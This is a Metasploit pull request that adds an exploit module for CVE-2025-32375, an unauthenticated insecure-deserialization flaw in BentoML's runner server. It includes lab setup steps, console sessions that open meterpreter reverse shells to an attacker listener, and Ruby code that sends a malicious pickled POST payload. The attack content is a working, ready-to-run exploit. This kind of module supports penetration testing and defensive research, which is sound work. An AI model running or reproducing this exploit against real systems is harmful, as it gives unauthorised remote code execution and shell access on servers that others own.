Merge pull request #20046 from Takahiro-Yoko/bentoml_runner_server_rce_cve_2025_32375
Add BentoML's runner server unauth RCE module (CVE-2025-32375)
This commit is contained in:
@@ -0,0 +1,165 @@
|
||||
## Vulnerable Application
|
||||
|
||||
There was an insecure deserialization in BentoML's runner server.
|
||||
By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server,
|
||||
which will grant the attackers to have the initial access and information disclosure on the server.
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* 1.0.0a1 <= BentoML < 1.4.8
|
||||
|
||||
This module was successfully tested on:
|
||||
|
||||
* BentoML 1.3.5 installed on Ubuntu 20.04
|
||||
|
||||
|
||||
### Installation
|
||||
|
||||
1. `pip install -U bentoml==1.3.5`
|
||||
|
||||
2. Create a file named model.py to create a simple model and save it:
|
||||
```python3
|
||||
import bentoml
|
||||
import numpy as np
|
||||
|
||||
class mymodel:
|
||||
def predict(self, info):
|
||||
return np.abs(info)
|
||||
def __call__(self, info):
|
||||
return self.predict(info)
|
||||
|
||||
model = mymodel()
|
||||
bentoml.picklable_model.save_model("mymodel", model)
|
||||
```
|
||||
|
||||
3. Run the following command to save this model: `python3 model.py`
|
||||
|
||||
4. Create bentofile.yaml to build this model:
|
||||
```yml
|
||||
service: "service.py"
|
||||
description: "A model serving service with BentoML"
|
||||
python:
|
||||
packages:
|
||||
- bentoml
|
||||
- numpy
|
||||
models:
|
||||
- tag: MyModel:latest
|
||||
include:
|
||||
- "*.py"
|
||||
```
|
||||
|
||||
5. Create service.py to host this model:
|
||||
```python3
|
||||
import bentoml
|
||||
from bentoml.io import NumpyNdarray
|
||||
import numpy as np
|
||||
|
||||
|
||||
model_runner = bentoml.picklable_model.get("mymodel:latest").to_runner()
|
||||
|
||||
svc = bentoml.Service("myservice", runners=[model_runner])
|
||||
|
||||
async def predict(input_data: np.ndarray):
|
||||
|
||||
input_columns = np.split(input_data, input_data.shape[1], axis=1)
|
||||
result_generator = model_runner.async_run(input_columns, is_stream=True)
|
||||
async for result in result_generator:
|
||||
yield result
|
||||
```
|
||||
|
||||
6. Run the following commands to build and host this model:
|
||||
```bash
|
||||
bentoml build
|
||||
bentoml start-runner-server --runner-name mymodel --working-dir . --host 0.0.0.0
|
||||
```
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375`
|
||||
4. Do: `run lhost=<lhost> rhost=<rhost>`
|
||||
5. You should get a meterpreter
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Python payload
|
||||
```
|
||||
msf6 > use exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > options
|
||||
|
||||
Module options (exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 3000 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (python/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Python payload
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > set target Python\ payload
|
||||
target => Python payload
|
||||
msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > run lhost=192.168.56.1 rhost=192.168.56.15
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. BentoML's runner server detected.
|
||||
[*] Sending stage (24772 bytes) to 192.168.56.15
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.15:47712) at 2025-04-17 20:29:12 +0900
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: ubu
|
||||
meterpreter > sysinfo
|
||||
Computer : vul
|
||||
OS : Linux 5.4.0-212-generic #232-Ubuntu SMP Sat Mar 15 15:34:35 UTC 2025
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : python/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Linux command
|
||||
```
|
||||
msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > set target Linux\ Command
|
||||
target => Linux Command
|
||||
msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > run lhost=192.168.56.1 rhost=192.168.56.15
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. BentoML's runner server detected.
|
||||
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.15:43432) at 2025-04-17 20:29:48 +0900
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: ubu
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.56.15
|
||||
OS : Ubuntu 20.04 (Linux 5.4.0-212-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,110 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'BentoML\'s runner server RCE',
|
||||
'Description' => %q{
|
||||
There was an insecure deserialization in BentoML's runner server prior to version 1.4.8.
|
||||
By setting specific headers and parameters in the POST request, it is possible to execute unauthorized arbitrary code in the context of the user running the server,
|
||||
which will grant initial access and information disclosure.
|
||||
},
|
||||
'Author' => [
|
||||
'SeaWind', # Vulnerability discovery and PoC
|
||||
'Takahiro Yokoyama' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2025-32375'],
|
||||
['URL', 'https://github.com/advisories/GHSA-7v4r-c989-xh26'],
|
||||
],
|
||||
'Targets' => [
|
||||
[
|
||||
'Python payload',
|
||||
{
|
||||
'Arch' => ARCH_PYTHON,
|
||||
'Platform' => 'python',
|
||||
'Type' => :python,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
|
||||
}
|
||||
],
|
||||
[
|
||||
'Linux Command', {
|
||||
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
|
||||
'DefaultOptions' => {
|
||||
# defaults to cmd/linux/http/aarch64/meterpreter/reverse_tcp
|
||||
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
|
||||
}
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'FETCH_DELETE' => true
|
||||
},
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => '2025-04-09',
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_SAFE, ],
|
||||
'SideEffects' => [ IOC_IN_LOGS ],
|
||||
'Reliability' => [ REPEATABLE_SESSION, ]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(3000)
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'metrics')
|
||||
})
|
||||
return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200
|
||||
return Exploit::CheckCode::Unknown('BentoML\'s runner server not detected.') unless res&.get_html_document&.text&.include?('bentoml_runner')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'readyz')
|
||||
})
|
||||
return Exploit::CheckCode::Unknown('BentoML\'s runner server not ready.') unless res&.code == 200
|
||||
|
||||
Exploit::CheckCode::Detected("BentoML\'s runner server detected.")
|
||||
# Version check not available
|
||||
end
|
||||
|
||||
def exploit
|
||||
if target['Type'] == :python
|
||||
pl = payload.encoded
|
||||
else
|
||||
pl = "import os;os.system(\"\"\"\n#{payload.encoded}\n\"\"\")"
|
||||
end
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'headers' => {
|
||||
'args-number' => '1',
|
||||
'Content-Type' => 'application/vnd.bentoml.pickled',
|
||||
'Payload-Container' => 'NdarrayContainer',
|
||||
'Payload-Meta' => '{"format": "default"}',
|
||||
'Batch-Size' => '-1'
|
||||
},
|
||||
'data' => Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, pl)
|
||||
})
|
||||
# No response check here
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user